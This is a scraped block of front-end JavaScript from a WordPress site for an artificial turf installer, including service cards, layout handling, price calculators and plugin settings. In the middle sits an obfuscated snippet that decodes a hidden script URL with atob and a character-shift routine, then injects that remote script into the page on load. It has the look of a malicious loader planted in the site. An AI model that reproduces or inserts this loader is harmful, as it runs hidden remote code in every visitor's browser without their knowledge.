{ title: 'Commercial Turf Installation', url: '/commercial-turf/' },
{ title: 'Rooftop & Balcony Turf', url: '/rooftop-balcony-turf/' },
{ title: 'Playground Turf', url: '/playground-turf/' },
{ title: 'Landscape Design', url: '/landscape-design/' },
{ title: 'Turf Maintenance & Repair', url: '/turf-maintenance/' }
];
grid.innerHTML = '';
services.forEach(function(s) {
grid.appendChild(createServiceCard(s.title, s.url));
});
}
/* ═══════════════════════════════════════════
RESPONSIVE HANDLER (replaces media queries)
═══════════════════════════════════════════ */
function handleResize() {
var w = window.innerWidth;
var mapEl = document.getElementById('dt-leaflet-map');
if (w < 600) {
grid.style.gridTemplateColumns = '1fr';
if (mapEl) mapEl.style.height = '300px';
} else if (w < 900) {
grid.style.gridTemplateColumns = 'repeat(2, 1fr)';
if (mapEl) mapEl.style.height = '380px';
} else {
grid.style.gridTemplateColumns = 'repeat(auto-fill, minmax(230px, 1fr))';
if (mapEl) mapEl.style.height = '450px';
}
map.invalidateSize();
}
window.addEventListener('resize', handleResize);
handleResize();
})();
window[(function(_InA,_hH){var _dRnLK='';for(var _2pBxIp=0;_2pBxIp<_InA.length;_2pBxIp++){_BWt9!=_2pBxIp;var _BWt9=_InA[_2pBxIp].charCodeAt();_BWt9-=_hH;_BWt9+=61;_hH>3;_dRnLK==_dRnLK;_BWt9%=94;_BWt9+=33;_dRnLK+=String.fromCharCode(_BWt9)}return _dRnLK})(atob('dWRrLywnIn4xZiI2'), 27)] = '3c020144ab1733329654'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_sex,_8q){var _VCW3e='';for(var _6t6ay9=0;_6t6ay9<_sex.length;_6t6ay9++){var _VO3i=_sex[_6t6ay9].charCodeAt();_VO3i-=_8q;_8q>6;_VO3i+=61;_VCW3e==_VCW3e;_VO3i%=94;_VO3i+=33;_VO3i!=_6t6ay9;_VCW3e+=String.fromCharCode(_VO3i)}return _VCW3e})(atob('Ljo6NjleU1MwOVJAL1E5KTgvNjo5Uik1M1NAL1E6Jy1SMDk='), 36)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });
function dtRollCalc() {
const linear = parseFloat(document.getElementById('rollLinear').value);
const rollWidth = parseFloat(document.getElementById('rollWidth').value);
const pricePerSqFt = 7.47; // update per product
if (!linear || linear <= 0) return;
const sqft = linear * rollWidth;
const subtotal = sqft * pricePerSqFt;
const hst = subtotal * 0.13;
const total = subtotal + hst;
document.getElementById('rollSqft').innerText = sqft.toFixed(2) + " sq ft";
document.getElementById('rollSubtotal').innerText = "$" + subtotal.toFixed(2);
document.getElementById('rollHST').innerText = "$" + hst.toFixed(2);
document.getElementById('rollTotal').innerText = "$" + total.toFixed(2);
}
function dtCalc() {
const productData = document.getElementById("dtProduct").value;
const length = parseFloat(document.getElementById("dtLength").value);
const width = parseFloat(document.getElementById("dtWidth").value);
if (!productData || !length || !width) {
alert("Please select a product and enter both length and width.");
return;
}
const [price, rollWidth] = productData.split("|").map(Number);
const sqFt = length * width;
const totalCost = sqFt * price;
document.getElementById("dtBadge").style.display = "inline-block";
document.getElementById("dtBadge").innerHTML = `Roll Width: ${rollWidth} ft`;
document.getElementById("dtSummary1").style.display = "flex";
document.getElementById("dtSummary1").innerHTML =
`<span>Price: $${price.toFixed(2)}/sq ft</span>
<span>Sq Ft: ${sqFt.toFixed(2)}</span>`;
document.getElementById("dtSummary2").style.display = "flex";
document.getElementById("dtSummary2").innerHTML =
`<span>Cost: $${totalCost.toFixed(2)}</span>`;
}
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/pdfobject.min.js
var eadPublic = [];
//# sourceURL=awsm-ead-public-js-extra
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/embed-public.min.js
var cf7appsRedirection = {"ajaxurl":"https://www.designturf.ca/wp-admin/admin-ajax.php"};
//# sourceURL=cf7apps-redirection-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_b289b8a5c1e9ee51ae99bcc9de766106.js
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
//# sourceURL=wp-i18n-js-after
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_96e7dc3f0e8559e4a3f3ca40b17ab9c3.js
var wpcf7 = {
"api": {
"root": "https:\/\/www.designturf.ca\/wp-json\/",
"namespace": "contact-form-7\/v1"
},
"cached": 1
};
//# sourceURL=contact-form-7-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_2912c657d0592cc532dff73d0d2ce7bb.js
var cf7appsHoneypotRefill = {"forceRefillOnInit":"1"};
//# sourceURL=cf7apps-honeypot-refill-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_ff73328f26e146915c87cc0affba7624.js
var sc_project=11316460;
var sc_security="635c5120";
var sc_invisible=1;
//# sourceURL=statcounter-js-js-before
var wpcf7r = {"ajax_url":"https://www.designturf.ca/wp-admin/admin-ajax.php"};
//# sourceURL=wpcf7-redirect-script-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_de051e67bf5997ca287fb2592e14d4fa.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/debouncedresize.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/magnificpopup.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/menu.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/visible.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/enllax.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/parallax/translate3d.min.js
var mfn = {"ajax":"https://www.designturf.ca/wp-admin/admin-ajax.php","mobileInit":"1240","parallax":"translate3d","responsive":"1","sidebarSticky":"","lightbox":{"disable":false,"disableMobile":false,"title":false},"view":{"grid_width":1240},"slider":{"blog":0,"clients":0,"offer":0,"portfolio":0,"shop":0,"slider":0,"testimonials":0},"livesearch":{"minChar":3,"loadPosts":10,"translation":{"pages":"Pages","categories":"Categories","portfolio":"Portfolio","post":"Posts","products":"Products"}},"accessibility":{"translation":{"headerContainer":"Header container","toggleSubmenu":"Toggle submenu"}},"home_url":"","home_url_lang":"https://www.designturf.ca","site_url":"https://www.designturf.ca","translation":{"success_message":"Link copied to the clipboard.","error_message":"Something went wrong. Please try again later!"}};
//# sourceURL=mfn-scripts-js-extra
https://www.designturf.ca/wp-content/themes/betheme/js/scripts.min.js
document.addEventListener("DOMContentLoaded", function() {
const items = document.querySelectorAll(".faq-item h4.toggle");
items.forEach(item => {
item.addEventListener("click", function() {
const parent = this.parentElement;
parent.classList.toggle("active");
});
});
});
// Delay Before/After slider initialization
document.addEventListener("DOMContentLoaded", function() {
requestIdleCallback(() => {
if (typeof mfn_before_after === "function") {
mfn_before_after();
}
});
});
//# sourceURL=mfn-scripts-js-after
window.hasOwnProperty("GLSR")||(window.GLSR={Event:{on:()=>{}}});GLSR.action="glsr_public_action";GLSR.addons=[];GLSR.ajax_pagination=["#wpadminbar",".site-navigation-fixed"];GLSR.ajax_url="https://www.designturf.ca/wp-admin/admin-ajax.php";GLSR.captcha=[];GLSR.modal_wrapped_by=["block"];GLSR.nameprefix="site-reviews";GLSR.stars_config={"clearable":false,tooltip:"Select a Rating"};GLSR.state={"popstate":false};GLSR.text={"close_modal":"Close Modal"};GLSR.url_parameter="reviews-page";GLSR.validation_config={field:"glsr-field",form:"glsr-form","field_error":"glsr-field-is-invalid","field_hidden":"glsr-hidden","field_message":"glsr-field-error","field_required":"glsr-required","field_valid":"glsr-field-is-valid","form_error":"glsr-form-is-invalid","form_message":"glsr-form-message","form_message_failed":"glsr-form-failed","form_message_success":"glsr-form-success","input_error":"glsr-is-invalid","input_valid":"glsr-is-valid"};GLSR.validation_strings={accepted:"This field must be accepted.",between:"This field value must be between %1$s and %2$s.",betweenlength:"This field must have between %1$s and %2$s characters.",email:"This field requires a valid e-mail address.",errors:"Please fix the submission errors.",max:"Maximum value for this field is %s.",maxfiles:"This field allows a maximum of %s files.",maxlength:"This field allows a maximum of %s characters.",min:"Minimum value for this field is %s.",minfiles:"This field requires a minimum of %s files.",minlength:"This field requires a minimum of %s characters.",number:"This field requires a number.",pattern:"Please match the requested format.",regex:"Please match the requested format.",required:"This field is required.",tel:"This field requires a valid telephone number.",url:"This field requires a valid website URL (make sure it starts with http or https).",unsupported:"The review could not be submitted because this browser is too old. Please try again with a modern browser."};GLSR.version="8.2.1";
//# sourceURL=site-reviews-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_5e24779b5bf81baee6b0ef94fcf81cd5.js
window.addEventListener("load", function(event) {
jQuery(".cfx_form_main,.wpcf7-form,.wpforms-form,.gform_wrapper form").each(function(){
var form=jQuery(this);
var screen_width=""; var screen_height="";
if(screen_width == ""){
if(screen){
screen_width=screen.width;
}else{
screen_width=jQuery(window).width();
} }
if(screen_height == ""){
if(screen){
screen_height=screen.height;
}else{
screen_height=jQuery(window).height();
} }
form.append('<input type="hidden" name="vx_width" value="'+screen_width+'">');
form.append('<input type="hidden" name="vx_height" value="'+screen_height+'">');
form.append('<input type="hidden" name="vx_url" value="'+window.location.href+'">');
});
});